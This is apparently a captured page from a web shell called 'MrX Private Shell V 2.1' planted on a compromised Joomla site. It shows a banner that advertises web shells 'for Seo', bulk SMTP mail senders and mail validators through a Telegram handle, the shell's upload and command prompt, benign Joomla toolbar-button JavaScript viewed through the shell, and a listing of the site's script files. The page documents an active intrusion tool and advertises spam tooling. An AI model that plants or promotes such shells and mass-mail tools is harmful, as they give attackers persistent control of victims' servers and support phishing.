__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

window.customElements.define('joomla-toolbar-button', class extends HTMLElement {
  // Attribute getters
  get task() {
    return this.getAttribute('task');
  }
  get listSelection() {
    return this.hasAttribute('list-selection');
  }
  get form() {
    return this.getAttribute('form');
  }
  get formValidation() {
    return this.hasAttribute('form-validation');
  }
  get confirmMessage() {
    return this.getAttribute('confirm-message');
  }

  /**
   * Lifecycle
   */
  constructor() {
    super();
    if (!Joomla) {
      throw new Error('Joomla API is not properly initiated');
    }
    this.onChange = this.onChange.bind(this);
    this.executeTask = this.executeTask.bind(this);
  }

  /**
   * Lifecycle
   */
  connectedCallback() {
    // We need a button to support button behavior,
    // because we cannot currently extend HTMLButtonElement
    this.buttonElement = this.querySelector('button, a');
    this.buttonElement.addEventListener('click', this.executeTask);

    // Check whether we have a form
    const formSelector = this.form || 'adminForm';
    this.formElement = document.getElementById(formSelector);
    this.disabled = false;
    // If list selection is required, set button to disabled by default
    if (this.listSelection) {
      this.setDisabled(true);
    }
    if (this.listSelection) {
      if (!this.formElement) {
        throw new Error(`The form "${formSelector}" is required to perform the task, but the form was not found on the page.`);
      }

      // Watch on list selection
      this.formElement.boxchecked.addEventListener('change', this.onChange);
    }
  }

  /**
   * Lifecycle
   */
  disconnectedCallback() {
    if (this.formElement.boxchecked) {
      this.formElement.boxchecked.removeEventListener('change', this.onChange);
    }
    this.buttonElement.removeEventListener('click', this.executeTask);
  }
  onChange({
    target
  }) {
    // Check whether we have selected something
    this.setDisabled(target.value < 1);
  }
  setDisabled(disabled) {
    // Make sure we have a boolean value
    this.disabled = !!disabled;

    // Switch attribute for native element
    // An anchor does not support "disabled" attribute, so use class
    if (this.buttonElement) {
      if (this.disabled) {
        if (this.buttonElement.nodeName === 'BUTTON') {
          this.buttonElement.disabled = true;
        } else {
          this.buttonElement.classList.add('disabled');
        }
      } else if (this.buttonElement.nodeName === 'BUTTON') {
        this.buttonElement.disabled = false;
      } else {
        this.buttonElement.classList.remove('disabled');
      }
    }
  }
  executeTask() {
    if (this.disabled) {
      return false;
    }

    // eslint-disable-next-line no-restricted-globals
    if (this.confirmMessage && !confirm(this.confirmMessage)) {
      return false;
    }
    if (this.task) {
      Joomla.submitbutton(this.task, this.form, this.formValidation);
    }
    return true;
  }
});

Filemanager

Name Type Size Permission Actions
fields Folder 0775
core-es5.js File 27.29 KB 0664
core-es5.min.js File 7.5 KB 0664
core-es5.min.js.gz File 3.07 KB 0664
core.js File 25.82 KB 0664
core.min.js File 7.48 KB 0664
core.min.js.gz File 3.06 KB 0664
draggable-es5.js File 6.14 KB 0664
draggable-es5.min.js File 2.27 KB 0664
draggable-es5.min.js.gz File 1.02 KB 0664
draggable.js File 5.66 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight-es5.js File 70.08 KB 0664
highlight-es5.min.js File 17.29 KB 0664
highlight-es5.min.js.gz File 5.78 KB 0664
highlight.js File 61.34 KB 0664
highlight.min.js File 15.34 KB 0664
highlight.min.js.gz File 5.33 KB 0664
inlinehelp-es5.js File 2.36 KB 0664
inlinehelp-es5.min.js File 887 B 0664
inlinehelp-es5.min.js.gz File 517 B 0664
inlinehelp.js File 2.12 KB 0664
inlinehelp.min.js File 815 B 0664
inlinehelp.min.js.gz File 489 B 0664
joomla-core-loader-es5.js File 8.62 KB 0664
joomla-core-loader-es5.min.js File 5.46 KB 0664
joomla-core-loader-es5.min.js.gz File 1.95 KB 0664
joomla-core-loader.js File 3.98 KB 0664
joomla-core-loader.min.js File 3.32 KB 0664
joomla-core-loader.min.js.gz File 1.09 KB 0664
joomla-hidden-mail-es5.js File 5.44 KB 0664
joomla-hidden-mail-es5.min.js File 2.92 KB 0664
joomla-hidden-mail-es5.min.js.gz File 1.25 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button-es5.js File 7.96 KB 0664
joomla-toolbar-button-es5.min.js File 4.07 KB 0664
joomla-toolbar-button-es5.min.js.gz File 1.61 KB 0664
joomla-toolbar-button.js File 3.08 KB 0664
joomla-toolbar-button.min.js File 1.85 KB 0664
joomla-toolbar-button.min.js.gz File 781 B 0664
keepalive-es5.js File 1.12 KB 0664
keepalive-es5.min.js File 594 B 0664
keepalive-es5.min.js.gz File 427 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view-es5.js File 3.15 KB 0664
list-view-es5.min.js File 1.55 KB 0664
list-view-es5.min.js.gz File 539 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages-es5.js File 17.44 KB 0664
messages-es5.min.js File 8.54 KB 0664
messages-es5.min.js.gz File 2.96 KB 0664
messages.js File 10.28 KB 0664
messages.min.js File 5.47 KB 0664
messages.min.js.gz File 1.79 KB 0664
multiselect-es5.js File 4.35 KB 0664
multiselect-es5.min.js File 1.94 KB 0664
multiselect-es5.min.js.gz File 964 B 0664
multiselect.js File 3.74 KB 0664
multiselect.min.js File 1.83 KB 0664
multiselect.min.js.gz File 915 B 0664
searchtools-es5.js File 20.9 KB 0664
searchtools-es5.min.js File 10.85 KB 0664
searchtools-es5.min.js.gz File 2.63 KB 0664
searchtools.js File 18.8 KB 0664
searchtools.min.js File 10.51 KB 0664
searchtools.min.js.gz File 2.58 KB 0664
showon-es5.js File 10.55 KB 0664
showon-es5.min.js File 3.61 KB 0664
showon-es5.min.js.gz File 1.39 KB 0664
showon.js File 9.57 KB 0664
showon.min.js File 3.47 KB 0664
showon.min.js.gz File 1.36 KB 0664
table-columns-es5.js File 6.78 KB 0664
table-columns-es5.min.js File 3.56 KB 0664
table-columns-es5.min.js.gz File 1.32 KB 0664
table-columns.js File 6.01 KB 0664
table-columns.min.js File 3.4 KB 0664
table-columns.min.js.gz File 1.27 KB 0664
Filemanager